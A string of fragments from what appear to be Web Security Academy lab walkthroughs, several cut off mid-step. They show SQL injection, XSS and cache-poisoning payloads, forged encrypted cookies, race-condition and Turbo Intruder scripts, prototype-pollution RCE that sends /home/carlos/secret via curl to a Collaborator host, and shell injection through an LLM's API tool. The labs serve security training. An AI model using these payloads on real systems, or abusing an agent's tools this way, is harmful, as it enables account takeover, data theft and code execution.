Identify the password reset endpoint, which refers to the passwordResetToken parameter:\n/forgot-password?passwordResetToken=${resetToken}\nIn the Repeater tab, change the value of the field parameter from email to passwordResetToken:\nusername=administrator/field/passwordResetToken%23\nSend the request. Notice that this returns an error message, because the passwordResetToken parameter is not supported by the version of the API that is set by the application.\nUsing the /api/ endpoint that you identified earlier, change the version of the API in the value of the username parameter:\nusername=../../v1/users/administrator/field/passwordResetToken%23\nSend the request. Notice that this returns a password reset token. Make a note of this.\nIn Burp's browser, enter the password reset endpoint in the address bar. Add your password reset token as the value of the reset_token parameter. For example:\n/forgot-password?passwordResetToken=123456789\nSet a new password.\nLog in as the administrator using your password.\nGo to the Admin panel and delete carlos to solve the lab.",

The Newsletter Subscription API is a better initial testing target.\nAsk the LLM what arguments the Newsletter Subscription API takes.\nAsk the LLM to call the Newsletter Subscription API with the argument attacker@YOUR-EXPLOIT-SERVER-ID.exploit-server.net.\nClick Email client and observe that a subscription confirmation has been sent to the email address as requested. This proves that you can use the LLM to interact with the Newsletter Subscription API directly.\nAsk the LLM to call the Newsletter Subscription API with the argument $(whoami)@YOUR-EXPLOIT-SERVER-ID.exploit-server.net.\nClick Email client and observe that the resulting email was sent to carlos@YOUR-EXPLOIT-SERVER-ID.exploit-server.net.

"description": "With Burp running, log in and attempt to buy the leather jacket. The order is rejected because you don't have enough store credit. In the proxy history, study the order process. Send the POST /cart request to Burp Repeater.\nIn Burp Repeater, notice that you can only add a 2-digit quantity with each request. Send the request to Burp Intruder.\nGo to Intruder and set the quantity parameter to 99.\nIn the Payloads side panel, select the payload type Null payloads. Under Payload configuration, select Continue indefinitely. Start the attack.\nWhile the attack is running, go to your cart. Keep refreshing the page every so often and monitor the total price. Eventually, notice that the price suddenly switches to a large negative integer and starts counting up towards 0. The price has exceeded the maximum value permitted for an integer in the back-end programming language (2,147,483,647). As a result, the value has looped back around to the minimum possible value (-2,147,483,648).\nClear your cart. In the next few steps, we'll try to add enough units so that the price loops back around and settles between $0 and the $100 of your remaining store credit. This is not mathematically possible using only the leather jacket. Note that the price of the jacket is stored in cents (133700).\nCreate the same Intruder attack again, but this time under Payload configuration, choose to generate exactly 323 payloads.\nClick Resource pool to open the Resource pool tab. Add the attack to a resource pool with the Maximum concurrent requests set to 1. Start the attack.\nWhen the Intruder attack finishes, go to the POST /cart request in Burp Repeater and send a single request for 47 jackets. The total price of the order should now be -$1221.96.\nUse Burp Repeater to add a suitable quantity of another item to your cart so that the total falls between $0 and $100.\nPlace the order to solve the lab.",

"description": "Log in with the \"Stay logged in\" option enabled and post a comment. Study the corresponding requests and responses using Burp's manual testing tools. Observe that the stay-logged-in cookie is encrypted.\nNotice that when you try and submit a comment using an invalid email address, the response sets an encrypted notification cookie before redirecting you to the blog post.\nNotice that the error message reflects your input from the email parameter in cleartext:\nInvalid email address: your-invalid-email\nDeduce that this must be decrypted from the notification cookie. Send the POST /post/comment and the subsequent GET /post?postId=x request (containing the notification cookie) to Burp Repeater.\nIn Repeater, observe that you can use the email parameter of the POST request to encrypt arbitrary data and reflect the corresponding ciphertext in the Set-Cookie header. Likewise, you can use the notification cookie in the GET request to decrypt arbitrary ciphertext and reflect the output in the error message. For simplicity, double-click the tab for each request and rename the tabs encrypt and decrypt respectively.\nIn the decrypt request, copy your stay-logged-in cookie and paste it into the notification cookie. Send the request. Instead of the error message, the response now contains the decrypted stay-logged-in cookie, for example:\nwiener:1598530205184\nThis reveals that the cookie should be in the format username:timestamp. Copy the timestamp to your clipboard.\nGo to the encrypt request and change the email parameter to administrator:your-timestamp. Send the request and then copy the new notification cookie from the response.\nDecrypt this new cookie and observe that the 23-character \"Invalid email address: \" prefix is automatically added to any value you pass in using the email parameter. Send the notification cookie to Burp Decoder.\nIn Decoder, URL-decode and Base64-decode the cookie.\nIn Burp Repeater, switch to the message editor's \"Hex\" tab. Select the first 23 bytes, then right-click and select \"Delete selected bytes\".\nRe-encode the data and copy the result into the notification cookie of the decrypt request. When you send the request, observe that an error message indicates that a block-based encryption algorithm is used and that the input length must be a multiple of 16. You need to pad the \"Invalid email address: \" prefix with enough bytes so that the number of bytes you will remove is a multiple of 16.\nIn Burp Repeater, go back to the encrypt request and add 9 characters to the start of the intended cookie value, for example:\nxxxxxxxxxadministrator:your-timestamp\nEncrypt this input and use the decrypt request to test that it can be successfully decrypted.\nSend the new ciphertext to Decoder, then URL and Base64-decode it. This time, delete 32 bytes from the start of the data. Re-encode the data and paste it into the notification parameter in the decrypt request. Check the response to confirm that your input was successfully decrypted and, crucially, no longer contains the \"Invalid email address: \" prefix. You should only see administrator:your-timestamp.\nFrom the proxy history, send the GET / request to Burp Repeater. Delete the session cookie entirely, and replace the stay-logged-in cookie with the ciphertext of your self-made cookie. Send the request. Observe that you are now logged in as the administrator and have access to the admin panel.\nUsing Burp Repeater, browse to /admin and notice the option for deleting users.

However, backslash is not being escaped.\nTo solve this lab, enter the following search term:\n\\\"-alert(1)}//\nAs you have injected a backslash and the site isn't escaping them, when the JSON response attempts to escape the opening double-quotes character, it adds a second backslash. The resulting double-backslash causes the escaping to be effectively canceled out. This means that the double-quotes are processed unescaped, which closes the string that should contain the search term.\nAn arithmetic operator (in this case the subtraction operator) is then used to separate the expressions before the alert() function is called. Finally, a closing curly bracket and two forward slashes close the JSON object early and comment out what would have been the rest of the object. As a result, the response is generated as follows:\n{\"searchTerm\":\"\\\\\"-alert(1)}//\", \"results\":[]}",

"description": "Identify the vulnerability\nLog in to your own account and notice the session cookie contains a serialized Java object.\nFrom the site map, notice that the website references the file /backup/AccessTokenUser.java. You can successfully request this file in Burp Repeater.\nNavigate upward to the /backup directory and notice that it also contains a ProductTemplate.java file.\nNotice that the ProductTemplate.readObject() method passes the template's id attribute into a SQL statement.\nBased on the leaked source code, write a small Java program that instantiates a ProductTemplate with an arbitrary ID, serializes it, and then Base64-encodes it.\nTemplate\nIn case you get stuck, we've also provided a ready-to-use program that you can run instead. If you're using our program, all you need to change is the \"your-payload-here\" string in the Main.java file. This instantiates and serializes a new ProductTemplate with its id set to whatever payload you enter here. The object is then Base64-encoded and output to the console ready for you to copy.\nUse your Java program to create a ProductTemplate with the id set to a single apostrophe. Copy the Base64 string and submit it in a request as your session cookie. The error message confirms that the website is vulnerable to Postgres-based SQL injection via this deserialized object.\nExtract the password\nHaving identified this vulnerability, you now need to find a way to exploit it to extract the administrator's password. At this point, you have the following options for testing different payloads:\nMake changes in your Java file like you did in the previous step, recompile it, and run it again before pasting the new value into your session cookie. This can be time-consuming as you'll have to repeat all of these steps for each payload you want to test.\nAlternatively, you can use the Hackvertor extension. You can then paste the raw serialized object into Burp Repeater and add tags that will update the offsets and Base64-encode the object automatically. This makes it much quicker to test a large number of payloads, and is even compatible with Burp Intruder.\nTemplate\nIn case you've not used Hackvertor before, we've provided the following template. Note that this is Base64-encoded here to avoid copy/paste issues:\nPEBiYXNlNjRfND6s7QAFc3IAI2RhdGEucHJvZHVjdGNhdGFsb2cuUHJvZHVjdFRlbXBsYXRlAAAAAAAAAAECAAFMAAJpZHQAEkxqYXZhL2xhbmcvU3RyaW5nO3hwdAA8QGZyb21fY2hhcmNvZGVfMz48QGdldF9sZW4gLz48QC9mcm9tX2NoYXJjb2RlXzM+WU9VUi1QQVlMT0FELUhFUkU8QHNldF9sZW4+PEBsZW5ndGhfMD5ZT1VSLVBBWUxPQUQtSEVSRTxAL2xlbmd0aF8wPjxAL3NldF9sZW4+PEAvYmFzZTY0XzQ+\nTo use this template:\nCopy and paste it into your session cookie in Burp Repeater.\nBase64-decode it to reveal something that looks like this:\n<@base64>’sr#data.productcatalog.ProductTemplateLidtLjava/lang/String;xpt<@from_charcode><@get_len /></@from_charcode>YOUR-PAYLOAD-HERE<@set_len><@length>YOUR-PAYLOAD-HERE</@length></@set_len></@base64>\nReplace both occurrences of YOUR-PAYLOAD-HERE with the payload that you want to test. Leave everything else as it is.\nSend the request. If you want to check the output that Hackvertor generated, you can look at the request on the \"Logger\" tab.\nThere are several ways to extract the password, but for this solution, we'll perform a simple, error-based UNION attack.\nEnumerate the number of columns in the table (8).\nDetermine the data type of the columns and identify that columns 4, 5, and 6 do not expect values of the type string. Importantly, notice that the error message reflects the string input that you entered.\nList the contents of the database and identify that there is a table called users with a column called password.\nUse a suitable SQL injection payload to extract the password from the users table. For example, the following payload will trigger an exception that displays the password in the error message:\n' UNION SELECT NULL, NULL, NULL, CAST(password AS numeric), NULL, NULL, NULL, NULL FROM users--\nTo solve the lab, log in as administrator using the extracted password, open the admin panel, and delete carlos.",

Note that the email change is sent as a GraphQL mutation.\nRight-click the email change request and select Send to Repeater.\nIn Repeater, amend the GraphQL query to change the email to a second different address.\nClick Send.\nIn the response, notice that the email has changed again. This indicates that you can reuse a session cookie to send multiple requests.\nConvert the request into a POST request with a Content-Type of x-www-form-urlencoded. To do this, right-click the request and select Change request method twice.\nNotice that the mutation request body has been deleted. Add the request body back in with URL encoding.\nThe body should look like the below:\n query=%0A++++mutation+changeEmail%28%24input%3A+ChangeEmailInput%21%29+%7B%0A++++++++changeEmail%28input%3A+%24input%29+%7B%0A++++++++++++email%0A++++++++%7D%0A++++%7D%0A&operationName=changeEmail&variables=%7B%22input%22%3A%7B%22email%22%3A%22hacker%40hacker.com%22%7D%7D\n \nRight-click the request and select Engagement tools > Generate CSRF PoC. Burp displays the CSRF PoC generator dialog.\nAmend the HTML in the CSRF PoC generator dialog so that it changes the email a third time. This step is necessary because otherwise the exploit won't make any changes to the current email address at the time it is run. Likewise, if you test the exploit before delivering, make sure that you change the email from whatever it is currently set to before delivering to the victim.\nCopy the HTML.\nIn the lab, click Go to exploit server.\nPaste the HTML into the exploit server and click Deliver exploit to victim to solve the lab.",

"description": "Predict a potential collision\nLog in and purchase a gift card so you can study the purchasing flow.\nConsider that the shopping cart mechanism and, in particular, the restrictions that determine what you are allowed to order, are worth trying to bypass.\nFrom the proxy history, identify all endpoints that enable you to interact with the cart. For example, a POST /cart request adds items to the cart and a POST /cart/checkout request submits your order.\nAdd another gift card to your cart, then send the GET /cart request to Burp Repeater.\nIn Repeater, try sending the GET /cart request both with and without your session cookie. Confirm that without the session cookie, you can only access an empty cart. From this, you can infer that:\nThe state of the cart is stored server-side in your session.\nAny operations on the cart are keyed on your session ID or the associated user ID.\nThis indicates that there is potential for a collision.\nNotice that submitting and receiving confirmation of a successful order takes place over a single request/response cycle.\nConsider that there may be a race window between when your order is validated and when it is confirmed. This could enable you to add more items to the order after the server checks whether you have enough store credit.\nBenchmark the behavior\nSend both the POST /cart and POST /cart/checkout request to Burp Repeater.\nIn Repeater, add the two tabs to a new group. For details on how to do this, see Creating a new tab group\nSend the two requests in sequence over a single connection a few times.

For details on how to do this, see Sending requests in sequence.\nAdd a GET request for the homepage to the start of your tab group.\nSend all three requests in sequence over a single connection. Observe that the first request still takes longer, but by \"warming\" the connection in this way, the second and third requests are now completed within a much smaller window.\nDeduce that this delay is caused by the back-end network architecture rather than the respective processing time of the each endpoint. Therefore, it is not likely to interfere with your attack.\nRemove the GET request for the homepage from your tab group.\nMake sure you have a single gift card in your cart.\nIn Repeater, modify the POST /cart request in your tab group so that the productId parameter is set to 1, that is, the ID of the Lightweight L33t Leather Jacket.\nSend the requests in sequence again.\nObserve that the order is rejected due to insufficient funds, as you would expect.\nProve the concept\nRemove the jacket from your cart and add another gift card.\nIn Repeater, try sending the requests again, but this time in parallel.

This suggests that it's either a randomly generated string with a fixed number of characters, or could be a hash of some unknown data, which may be predictable.\nThe fact that the token is different each time indicates that, if it is in fact a hash digest, it must contain some kind of internal state, such as an RNG, a counter, or a timestamp.\nDuplicate the Repeater tab and add both tabs to a new group. For details on how to do this, see Creating a new tab group\nSend the pair of reset requests in parallel a few times.

Infer that your requests are still being processed in sequence rather than concurrently.\nBypass the per-session locking restriction\nNotice that your session cookie suggests that the website uses a PHP back-end. This could mean that the server only processes one request at a time per session.\nSend the GET /forgot-password request to Burp Repeater, remove the session cookie from the request, then send it.\nFrom the response, copy the newly issued session cookie and CSRF token and use them to replace the respective values in one of the two POST /forgot-password requests. You now have a pair of password reset requests from two different sessions.\nSend the two POST requests in parallel a few times and observe that the processing times are now much more closely aligned, and sometimes identical.\nConfirm the vulnerability\nGo back to your inbox and notice that when the response times match for the pair of reset requests, this results in two confirmation emails that use an identical token. This confirms that a timestamp must be one of the inputs for the hash.\nConsider that this also means the token would be predictable if you knew the other inputs for the hash function.\nNotice the separate username parameter. This suggests that the username might not be included in the hash, which means that two different usernames could theoretically have the same token.\nIn Repeater, go to the pair of POST /forgot-password requests and change the username parameter in one of them to carlos.\nResend the two requests in parallel.

Observe that:\nYou can only register using @ginandjuice.shop email addresses.\nTo complete the registration, you need to visit the confirmation link, which is sent via email.\nAs you don't have access to an @ginandjuice.shop email account, you don't appear to have a way to access a valid confirmation link.\nIn Burp, from the proxy history, notice that there is a request to fetch /resources/static/users.js.\nStudy the JavaScript and notice that this dynamically generates a form for the confirmation page, which is presumably linked from the confirmation email. This leaks the fact that the final confirmation is submitted via a POST request to /confirm, with the token provided in the query string.\nIn Burp Repeater, create an equivalent request to what your browser might send when clicking the confirmation link. For example:\n POST /confirm?token=1 HTTP/2\n Host: YOUR-LAB-ID.web-security-academy.net\n Content-Type: x-www-form-urlencoded\n Content-Length: 0\n \nExperiment with the token parameter in your newly crafted confirmation request. Observe that:\nIf you submit an arbitrary token, you receive an Incorrect token: <YOUR-TOKEN> response.\nIf you remove the parameter altogether, you receive a Missing parameter: token response.\nIf you submit an empty token parameter, you receive a Forbidden response.\nConsider that this Forbidden response may indicate that the developers have patched a vulnerability that could be exploited by sending an empty token parameter.\nConsider that there may be a small race window between:\nWhen you submit a request to register a user.\nWhen the newly generated registration token is actually stored in the database.\nIf so, there may be a temporary sub-state in which null (or equivalent) is a valid token for confirming the user's registration.\nExperiment with different ways of submitting a token parameter with a value equivalent to null. For example, some frameworks let you to pass an empty array as follows:\n POST /confirm?token[]=\n \nObserve that this time, instead of the Forbidden response, you receive an Invalid token: Array response. This shows that you've successfully passed in an empty array, which could potentially match an uninitialized registration token.\nBenchmark the behavior\nSend the POST /register request to Burp Repeater.\nIn Burp Repeater, experiment with the registration request. Observe that if you attempt to register the same username more than once, you get a different response.\nIn a separate Repeater tab, use what you've learned from the JavaScript import to construct a confirmation request with an arbitrary token. For example:\n POST /confirm?token=1 HTTP/2\n Host: YOUR-LAB-ID.web-security-academy.net\n Cookie: phpsessionid=YOUR-SESSION-ID\n Content-Type: application/x-www-form-urlencoded\n Content-Length: 0\n \nAdd both requests to a new tab group.\nTry sending both requests sequentially and in parallel several times, making sure to change the username in the registration request each time to avoid hitting the separate Account already exists with this name code path. For details on how to do this, see Sending grouped HTTP requests.\nNotice that the confirmation response consistently arrives much quicker than the response to the registration request.\nProve the concept\nNote that you need the server to begin creating the pending user in the database, then compare the token you send in the confirmation request before the user creation is complete.\nConsider that as the confirmation response is always processed much more quickly, you need to delay this so that it falls within the race window.\nIn the POST /register request, highlight the value of the username parameter, then right-click and select Extensions > Turbo Intruder > Send to turbo intruder.\nIn Turbo Intruder, in the request editor:\nNotice that the value of the username parameter is automatically marked as a payload position with the %s placeholder.\nMake sure the email parameter is set to an arbitrary @ginandjuice.shop address that is not likely to already be registered on the site.\nMake a note of the static value of the password parameter.

Set the gate argument to match the current iteration.\nCreate a nested loop that queues a large number of confirmation requests for each attempt. These should also use the same release gate.\nOpen the gate for all the requests in each attempt at the same time.\nThe resulting script should look something like this:\ndef queueRequests(target, wordlists):\n\n engine = RequestEngine(endpoint=target.endpoint,\n concurrentConnections=1,\n engine=Engine.BURP2\n )\n \n confirmationReq = '''POST /confirm?token[]= HTTP/2\nHost: YOUR-LAB-ID.web-security-academy.net\nCookie: phpsessionid=YOUR-SESSION-TOKEN\nContent-Length: 0\n\n'''\n for attempt in range(20):\n currentAttempt = str(attempt)\n username = 'User' + currentAttempt\n \n # queue a single registration request\n engine.queue(target.req, username, gate=currentAttempt)\n \n # queue 50 confirmation requests - note that this will probably sent in two separate packets\n for i in range(50):\n engine.queue(confirmationReq, gate=currentAttempt)\n \n # send all the queued requests for this attempt\n engine.openGate(currentAttempt)\n\ndef handleResponse(req, interesting):\n table.add(req)\n \nLaunch the attack.\nIn the results table, sort the results by the Length column.\nIf the attack was successful, you should see one or more 200 responses to your confirmation request containing the message Account registration for user <USERNAME> successful.\nMake a note of the username from one of these responses.

"description": "Study the address change feature\nLog in and visit your account page. Submit the form for updating your billing and delivery address.\nIn Burp, go to the Proxy > HTTP history tab and find the POST /my-account/change-address request.\nObserve that when you submit the form, the data from the fields is sent to the server as JSON. Notice that the server responds with a JSON object that appears to represent your user. This has been updated to reflect your new address information.\nSend the request to Burp Repeater.\nIdentify a prototype pollution source\nIn Repeater, add a new property to the JSON with the name __proto__, containing an object with a json spaces property.\n\"__proto__\": {\n \"json spaces\":10\n}\nSend the request.\nIn the Response panel, switch to the Raw tab. Notice that the JSON indentation has increased based on the value of your injected property. This strongly suggests that you have successfully polluted the prototype.\nProbe for remote code execution\nGo to the admin panel and observe that there's a button for running maintenance jobs.\nClick the button and observe that this triggers background tasks that cleanup the database and filesystem. This is a classic example of the kind of functionality that may spawn node child processes.\nTry polluting the prototype with a set of malicious properties that control the options passed to the child_process.execSync() method. The injected command should trigger an interaction with the public Burp Collaborator server:\n\"__proto__\": {\n \"shell\":\"vim\",\n \"input\":\":! curl https://YOUR-COLLABORATOR-ID.oastify.com\\n\"\n}\nSend the request.\nIn the browser, go to the admin panel and trigger the maintenance jobs. Observe that, after a short delay, these fail to run.\nIn Burp, go to the Collaborator tab and poll for interactions. Observe that you have received several interactions. This confirms the remote code execution.\nLeak the hidden file name\nIn Burp Repeater, modify the payload in your malicious input parameter to a command that leaks the contents of Carlos's home directory to the public Burp Collaborator server. The following is one approach for doing this:\n\"input\":\":! ls /home/carlos | base64 | curl -d @- https://YOUR-COLLABORATOR-ID.oastify.com\\n\"\nSend the request.\nIn the browser, go to the admin panel and trigger the maintenance jobs again.\nGo to the Collaborator tab and poll for interactions.\nNotice that you have received a new HTTP POST request with a Base64-encoded body.\nDecode the contents of the body to reveal the names of two entries: node_apps and secret.\nExfiltrate the contents of the secret file\nIn Burp Repeater, modify the payload in your malicious input parameter to a command that exfiltrates the contents of the file /home/carlos/secret to the public Burp Collaborator server. The following is one approach for doing this:\n\"input\":\":! cat /home/carlos/secret | base64 | curl -d @- https://YOUR-COLLABORATOR-ID.oastify.com\\n\"\nSend the request.\nIn the browser, go to the admin panel and trigger the maintenance jobs again.\nGo to the Collaborator tab and poll for interactions.\nNotice that you have received a new HTTP POST request with a Base64-encoded body.\nDecode the contents of the body to reveal the secret.\nIn your browser, go to the lab banner and click Submit solution.

"description": "This lab requires you to poison the cache with multiple malicious responses simultaneously and coordinate this with the victim's browsing behavior.\nWith Burp running, load the website's home page.\nUse Param Miner to identify that the X-Forwarded-Host and X-Original-URL headers are supported.\nIn Burp Repeater, experiment with the X-Forwarded-Host header and observe that it can be used to import an arbitrary JSON file instead of the translations.json file, which contains translations of UI texts.\nNotice that the website is vulnerable to DOM-XSS due to the way the initTranslations() function handles data from the JSON file for all languages except English.\nGo to the exploit server and edit the file name to match the path used by the vulnerable website:\n/resources/json/translations.json\nIn the head, add the header Access-Control-Allow-Origin: * to enable CORS.\nIn the body, add malicious JSON that matches the structure used by the real translation file. Replace the value of one of the translations with a suitable XSS payload, for example:\n{\n \"en\": {\n \"name\": \"English\"\n },\n \"es\": {\n \"name\": \"español\",\n \"translations\": {\n \"Return to list\": \"Volver a la lista\",\n \"View details\": \"</a><img src=1 onerror='alert(document.cookie)' />\",\n \"Description:\": \"Descripción\"\n }\n }\n}\nFor the rest of this solution we will use Spanish to demonstrate the attack. Please note that if you injected your payload into the translation for another language, you will also need to adapt the examples accordingly.\nStore the exploit.\nIn Burp, find a GET request for /?localized=1 that includes the lang cookie for Spanish:\nlang=es\nSend the request to Burp Repeater. Add a cache buster and the following header, remembering to enter your own exploit server ID:\nX-Forwarded-Host: YOUR-EXPLOIT-SERVER-ID.exploit-server.net\nSend the response and confirm that your exploit server is reflected in the response.\nTo simulate the victim, load the URL in the browser and confirm that the alert() fires.\nYou have successfully poisoned the cache for the Spanish page, but the target user's language is set to English. As it's not possible to exploit users with their language set to English, you need to find a way to forcibly change their language.\nIn Burp, go to \"Proxy\" > \"HTTP history\" and study the requests and responses that you generated. Notice that when you change the language on the page to anything other than English, this triggers a redirect, for example, to /setlang/es. The user's selected language is set server side using the lang=es cookie, and the home page is reloaded with the parameter ?localized=1.\nSend the GET request for the home page to Burp Repeater and add a cache buster.\nObserve that the X-Original-URL can be used to change the path of the request, so you can explicitly set /setlang/es. However, you will find that this response cannot be cached because it contains the Set-Cookie header.\nObserve that the home page sometimes uses backslashes as a folder separator. Notice that the server normalizes these to forward slashes using a redirect. Therefore, X-Original-URL: /setlang\\es triggers a 302 response that redirects to /setlang/es. Observe that this 302 response is cacheable and, therefore, can be used to force other users to the Spanish version of the home page.\nYou now need to combine these two exploits. First, poison the GET /?localized=1 page using the X-Forwarded-Host header to import your malicious JSON file from the exploit server.\nNow, while the cache is still poisoned, also poison the GET / page using X-Original-URL: /setlang\\es to force all users to the Spanish page.\nTo simulate the victim, load the English page in the browser and make sure that you are redirected and that the alert() fires.\nReplay both requests in sequence to keep the cache poisoned on both pages until the victim visits the site and the lab is solved.",

Eventually, the URL for the geolocate.js resource will also be overwritten with your exploit server URL. This indicates that this fragment is being cached separately by the internal cache.

"description": "Visit the front page of the shop, and use Burp Suite to intercept and modify the request containing the TrackingId cookie. For simplicity, let's say the original value of the cookie is TrackingId=xyz.\nModify the TrackingId cookie, changing it to:\nTrackingId=xyz' AND '1'='1\nVerify that the Welcome back message appears in the response.\nNow change it to:\nTrackingId=xyz' AND '1'='2\nVerify that the Welcome back message does not appear in the response. This demonstrates how you can test a single boolean condition and infer the result.\nNow change it to:\nTrackingId=xyz' AND (SELECT 'a' FROM users LIMIT 1)='a\nVerify that the condition is true, confirming that there is a table called users.\nNow change it to:\nTrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator')='a\nVerify that the condition is true, confirming that there is a user called administrator.\nThe next step is to determine how many characters are in the password of the administrator user. To do this, change the value to:\nTrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a\nThis condition should be true, confirming that the password is greater than 1 character in length.\nSend a series of follow-up values to test different password lengths. Send:\nTrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>2)='a\nThen send:\nTrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>3)='a\nAnd so on. You can do this manually using Burp Repeater, since the length is likely to be short. When the condition stops being true (i.e. when the Welcome back message disappears), you have determined the length of the password, which is in fact 20 characters long.\nAfter determining the length of the password, the next step is to test the character at each position to determine its value. This involves a much larger number of requests, so you need to use Burp Intruder. Send the request you are working on to Burp Intruder, using the context menu.\nIn Burp Intruder, change the value of the cookie to:\nTrackingId=xyz' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a\nThis uses the SUBSTRING() function to extract a single character from the password, and test it against a specific value. Our attack will cycle through each position and possible value, testing each one in turn.\nPlace payload position markers around the final a character in the cookie value. To do this, select just the a, and click the Add § button. You should then see the following as the cookie value (note the payload position markers):\nTrackingId=xyz' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='§a§\nTo test the character at each position, you'll need to send suitable payloads in the payload position that you've defined. You can assume that the password contains only lowercase alphanumeric characters. In the Payloads side panel, check that Simple list is selected, and under Payload configuration add the payloads in the range a - z and 0 - 9. You can select these easily using the Add from list drop-down.\nTo be able to tell when the correct character was submitted, you'll need to grep each response for the expression Welcome back. To do this, click on the Settings tab to open the Settings side panel. In the Grep - Match section, clear existing entries in the list, then add the value Welcome back.\nLaunch the attack by clicking the Start attack button.\nReview the attack results to find the value of the character at the first position. You should see a column in the results called Welcome back. One of the rows should have a tick in this column. The payload showing for that row is the value of the character at the first position.\nNow, you simply need to re-run the attack for each of the other character positions in the password, to determine their value. To do this, go back to the Intruder tab, and change the specified offset from 1 to 2. You should then see the following as the cookie value:\nTrackingId=xyz' AND (SELECT SUBSTRING(password,2,1) FROM users WHERE username='administrator')='a\nLaunch the modified attack, review the results, and note the character at the second offset.\nContinue this process testing offset 3, 4, and so on, until you have the whole password.\nIn the browser, click My account to open the login page. Use the password to log in as the administrator user.\nNote\nFor more advanced users, the solution described here could be made more elegant in various ways. For example, instead of iterating over every character, you could perform a binary search of the character space. Or you could create a single Intruder attack with two payload positions and the cluster bomb attack type, and work through all permutations of offsets and character values.",

"description": "Visit the front page of the shop, and use Burp Suite to intercept and modify the request containing the TrackingId cookie. For simplicity, let's say the original value of the cookie is TrackingId=xyz.\nModify the TrackingId cookie, appending a single quotation mark to it:\nTrackingId=xyz'\nVerify that an error message is received.\nNow change it to two quotation marks:\nTrackingId=xyz''\nVerify that the error disappears. This suggests that a syntax error (in this case, the unclosed quotation mark) is having a detectable effect on the response.\nYou now need to confirm that the server is interpreting the injection as a SQL query i.e. that the error is a SQL syntax error as opposed to any other kind of error. To do this, you first need to construct a subquery using valid SQL syntax. Try submitting:\nTrackingId=xyz'||(SELECT '')||'\nIn this case, notice that the query still appears to be invalid. This may be due to the database type - try specifying a predictable table name in the query:\nTrackingId=xyz'||(SELECT '' FROM dual)||'\nAs you no longer receive an error, this indicates that the target is probably using an Oracle database, which requires all SELECT statements to explicitly specify a table name.\nNow that you've crafted what appears to be a valid query, try submitting an invalid query while still preserving valid SQL syntax. For example, try querying a non-existent table name:\nTrackingId=xyz'||(SELECT '' FROM not-a-real-table)||'\nThis time, an error is returned. This behavior strongly suggests that your injection is being processed as a SQL query by the back-end.\nAs long as you make sure to always inject syntactically valid SQL queries, you can use this error response to infer key information about the database. For example, in order to verify that the users table exists, send the following query:\nTrackingId=xyz'||(SELECT '' FROM users WHERE ROWNUM = 1)||'\nAs this query does not return an error, you can infer that this table does exist. Note that the WHERE ROWNUM = 1 condition is important here to prevent the query from returning more than one row, which would break our concatenation.\nYou can also exploit this behavior to test conditions. First, submit the following query:\nTrackingId=xyz'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'\nVerify that an error message is received.\nNow change it to:\nTrackingId=xyz'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'\nVerify that the error disappears. This demonstrates that you can trigger an error conditionally on the truth of a specific condition. The CASE statement tests a condition and evaluates to one expression if the condition is true, and another expression if the condition is false. The former expression contains a divide-by-zero, which causes an error. In this case, the two payloads test the conditions 1=1 and 1=2, and an error is received when the condition is true.\nYou can use this behavior to test whether specific entries exist in a table. For example, use the following query to check whether the username administrator exists:\nTrackingId=xyz'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'\nVerify that the condition is true (the error is received), confirming that there is a user called administrator.\nThe next step is to determine how many characters are in the password of the administrator user. To do this, change the value to:\nTrackingId=xyz'||(SELECT CASE WHEN LENGTH(password)>1 THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'\nThis condition should be true, confirming that the password is greater than 1 character in length.\nSend a series of follow-up values to test different password lengths. Send:\nTrackingId=xyz'||(SELECT CASE WHEN LENGTH(password)>2 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'\nThen send:\nTrackingId=xyz'||(SELECT CASE WHEN LENGTH(password)>3 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'\nAnd so on.

Send the request you are working on to Burp Intruder, using the context menu.\nGo to Burp Intruder and change the value of the cookie to:\nTrackingId=xyz'||(SELECT CASE WHEN SUBSTR(password,1,1)='a' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'\nThis uses the SUBSTR() function to extract a single character from the password, and test it against a specific value.

To do this, select just the a, and click the \"Add §\" button. You should then see the following as the cookie value (note the payload position markers):\nTrackingId=xyz'||(SELECT CASE WHEN SUBSTR(password,1,1)='§a§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'\nTo test the character at each position, you'll need to send suitable payloads in the payload position that you've defined. You can assume that the password contains only lowercase alphanumeric characters. In the \"Payloads\" side panel, check that \"Simple list\" is selected, and under \"Payload configuration\" add the payloads in the range a - z and 0 - 9. You can select these easily using the \"Add from list\" drop-down.\nLaunch the attack by clicking the \" Start attack\" button.\nReview the attack results to find the value of the character at the first position. The application returns an HTTP 500 status code when the error occurs, and an HTTP 200 status code normally. The \"Status\" column in the Intruder results shows the HTTP status code, so you can easily find the row with 500 in this column. The payload showing for that row is the value of the character at the first position.\nNow, you simply need to re-run the attack for each of the other character positions in the password, to determine their value. To do this, go back to the original Intruder tab, and change the specified offset from 1 to 2. You should then see the following as the cookie value:\nTrackingId=xyz'||(SELECT CASE WHEN SUBSTR(password,2,1)='§a§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'\nLaunch the modified attack, review the results, and note the character at the second offset.\nContinue this process testing offset 3, 4, and so on, until you have the whole password.\nIn the browser, click \"My account\" to open the login page.

